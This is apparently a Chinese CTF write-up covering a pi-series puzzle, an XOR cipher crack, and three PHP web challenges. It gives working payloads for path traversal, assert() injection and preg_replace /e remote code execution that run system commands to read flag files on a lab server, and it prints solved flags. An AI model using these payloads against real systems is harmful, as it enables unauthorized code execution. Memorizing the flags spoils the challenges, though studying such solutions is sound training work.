cat‘s gift
题目描述:于礼物不好拿,所以猫猫把礼物平均分成了四份,但是其中一份不小心掉在地上散落成了无数片,变成了 1 - 1/3 + 1/5 - 1/7 + …
题目分析:提示莱布尼茨公式,平均分成四份,告诉了一份的内容,写代码把它无限逼近乘上4,就大概还原了。
代码:
1 2 3 4 5 6 7 8 9
| def pi(n): s = 0 for i in range(n): s+=(-1)**i*1/(2*i+1) return 4*s
print(pi(1000000))
|
xor 很心疼你
题目描述:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from secret import flag import random import base64
pool = 'qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM' r = random.randint(2, 250) assert flag.startswith('hsctf{')
def generate(length): return ''.join(random.choices(pool, k=length))
def f(x): random.seed(x) return random.getrandbits(8)
def encrypt(plaintext, key): plaintext = list(map(ord, plaintext)) for _ in range(20): key = f(key) assert key != 0 for i in range(len(plaintext)): key = f(key) tmp = (key * r) % 251 assert tmp != 0 and key != 0 plaintext[i] = plaintext[i] ^ tmp plaintext = bytes(plaintext) return base64.b64encode(plaintext)
m = generate(random.randint(200, 300)) + flag + generate(random.randint(200, 300)) c = encrypt(m, random.getrandbits(128)) print(c)
|
题目解析:用flag的头b”hsctf{“ 爆破key和r和pos ,然后反过来异或即可;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
|
import random import base64
def f(x): random.seed(x) return random.getrandbits(8)
def encrypt(plaintext, key): plaintext = list(map(ord, plaintext)) for i in range(len(plaintext)): key = f(key) tmp = (key * r) % 251 plaintext[i] = plaintext[i] ^ tmp plaintext = bytes(plaintext) return plaintext
c=b'8OcTbAfL6/kOMQnC9v8SNmmSzvQMeGTT8vANM1T+7vIce2fo0fc2RnScrNxTSmeSyuMjMF//w8BWaXX91dsGcnvmreg0NQTw96ceVVXj3sQ3Znn51OU1S0bOyaMtNHTj36AcWFqewN4zRUXD6agGbAPE+tQtd3XG0doAa1Ll9fhcQ1zk0McTM1bv8PIQOAnn3vQ3UgLD3PsONXLs4KkXMnjTyMEQOFn/0uYVUwOY1PsleEHCyNopRVDr+Kc0e2PH9v0XNXfprfIPU3nw7KYTNX/G7twLSkHoyaUlQHXi3v02UHmdy/4iNgme3Pc8bgPp+tYWV1+YzPkXYkXM4ulUc27DrM4SNUPT2fQlckj1qP4Fal+YoPYJMlyZ8qhXfF3Y0tUDdUXl3vg0dFTi++VVOFfH/dgMS1ru9N8WU0HF9cUCTgPe+qVdSn/u7Mkda0GTw/QDcWPZ9KYGN2jSzfk0OVrMzt0yRHD64KMrUgPF2sFWcmP56KZSTAD61PUGeXrd49MgU1bL8OsVNWj91vIsalXwqf0qaWbwzv0lWETA4eElS3L99cYmU1nv9dRQTWbDyclScQTN6NIhV2j//+ZWbH7Z68kwM3Dy4dcUc1PQy8kRTl/4zcU9WGWfoakOMXuf69MXZQTEz+kJT1Dar8UN' c=base64.b64decode(c)
flag="hsctf{"
key=34 r=187
def decrypt(ciphertext, key): ciphertext=list(ciphertext) for i in range(len(ciphertext)): key = f(key) tmp = (key * r) % 251 ciphertext[i] = ciphertext[i] ^ tmp ciphertext = bytes(ciphertext) return ciphertext mm=print(decrypt(c[247:],key))
|
warmup
进入source.php 查看源码(代码审计)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; }
if (in_array($page, $whitelist)) { return true; }
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
$_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } }
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; }
|
先介绍两个函数:mb_strpos mb_substr
mb_strpos:查找字符串在另一字符串中第一次出现的位置(区分大小写)
mb_strpos(string,find,start)
string ->(必需)规定被搜索的字符串。
find ->(必需)规定要查找的字符。
start ->(可选)规定开始搜索的位置。
例如:
1 2 3 4
| <?php echo strpos("I love php, I love php too!","php"); ?>
|
mb_substr:截取函数
mb_substr( str, start, length, encoding )
str ->需要截断的字符串
start ->截断开始处,起始处为0
length ->要截取的字数
encoding ->网页编码,如utf-8,GB2312,GBK
例如:
1 2 3 4 5
| <?php $str='你好世界,fhdsjhfjksdkj'; echo mb_substr($str,0,4,'utf-8'); ?>
|
代码解析:对file参数进行传入,检查是否为空,检查是否为字符串,截取字符串,检查是否包含白名单。
尝试:http://61.147.171.105:54988/source.php?file=hint.php
成功回显
构造pyload http://61.147.171.105:54988/source.php?file=hint.php?/../../../../ffffllllaaaagggg
mfw

扫描目录 7kbscan 扫描到 /.git源码泄露
使用python模块GitHack.py 提取源码
1
| python GitHack.py --url http://61.147.171.105:59201/.git
|
发现文件

我们查看flag.php
找其他的php文件找线索
index.php 有代码部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php
if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; }
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!");
?>
|
1 2 3 4 5 6 7 8 9 10 11
| assert()函数其实是一个断言函数。
assert:
这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
assert ( mixed $assertion [, string $description ] ) : bool
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到则返回flase,如果用strpos来判断字符串中是否存在某个字符时必须使用===false
|
所以我们要构造payload 闭合strpos函数,使得其报错,从而执行后后面的代码
根据代码分析;使用?page=’);//
带入代码:
1 2 3 4
| assert("strpos('templates/');//, '..') === false") //在php中是注释,所以注释了 , '..') === false" 的代码部分 strpos('template/')将会报错,所以我们在其后面插入代码 则为: assert("strpos('templates/') or system('cat ./templates/flag.php');//, '..') === false")
|
F12查看flag:cyberpeace{4f0d0eda6c51799ee26c266f1b618272}
ics-05
1、先讲preg_replace函数的bug
参数 |
作用 |
pattern |
正则表达式或者要匹配的内容 |
replacement |
要替换的内容 |
subject |
要操作的对象 |
举例:
1 2 3 4 5 6
| <?php $num = '4'; $string = "This string has four words."; $string = preg_replace('/four/',$num, $string); echo $string; ?>
|
bug->
1 2
| /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。 提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
|
2、解题思路:
打开靶场发现只有设备维护可以点进去,目录扫描也没有什么发现。
F12检查网络发现一个怕个page参数

我么尝试对page进行传参

传入什么就显示什么,尝试伪协议查看页面后端源代码

base64解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147
| <?php error_reporting(0);
@session_start(); posix_setuid(1000);
?> <!DOCTYPE HTML> <html>
<head> <meta charset="utf-8"> <meta name="renderer" content="webkit"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <link rel="stylesheet" href="layui/css/layui.css" media="all"> <title>设备维护中心</title> <meta charset="utf-8"> </head>
<body> <ul class="layui-nav"> <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li> </ul> <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;"> <legend>设备列表</legend> </fieldset> <table class="layui-hide" id="test"></table> <script type="text/html" id="switchTpl"> <!-- 这里的 checked 的状态只是演示 --> <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}> </script> <script src="layui/layui.js" charset="utf-8"></script> <script> layui.use('table', function() { var table = layui.table, form = layui.form;
table.render({ elem: '#test', url: '/somrthing.json', cellMinWidth: 80, cols: [ [ { type: 'numbers' }, { type: 'checkbox' }, { field: 'id', title: 'ID', width: 100, unresize: true, sort: true }, { field: 'name', title: '设备名', templet: '#nameTpl' }, { field: 'area', title: '区域' }, { field: 'status', title: '维护状态', minWidth: 120, sort: true }, { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true } ] ], page: true }); }); </script> <script> layui.use('element', function() { var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块 //监听导航点击 element.on('nav(demo)', function(elem) { //console.log(elem) layer.msg(elem.text()); }); }); </script>
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) { ?>
<br /><br /><br /><br /> <div style="text-align:center"> <p class="lead"><?php echo $page; die();?></p> <br /><br /><br /><br />
<?php
}else{
?> <br /><br /><br /><br /> <div style="text-align:center"> <p class="lead"> <?php
if (strpos($page, 'input') > 0) { die(); }
if (strpos($page, 'ta:text') > 0) { die(); }
if (strpos($page, 'text') > 0) { die(); }
if ($page === 'index.php') { die('Ok'); } include($page); die(); ?> </p> <br /><br /><br /><br />
<?php }}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); }
}
?>
</body>
</html>
|
源代码对page的内容进行了过滤,因此不能用伪协议写入代码
看到内部人员测试代码,根据前面说的preg_replace()函数的bug
所以构造pyload
1
| http://61.147.171.105:61424/index.php?pat=/nihao/e&rep=system("ls")&sub=nihao
|
爆出文件

找flag
1
| http://61.147.171.105:61424/index.php?pat=/nihao/e&rep=system("find -name flag*")&sub=nihao
|

得到flag
1
| http://61.147.171.105:61424/index.php?pat=/nihao/e&rep=system(""tac ./s3chahahaDir/flag/flag.php")&sub=nihao
|
bug
题目是一个登录框,有注册窗口,有验证窗口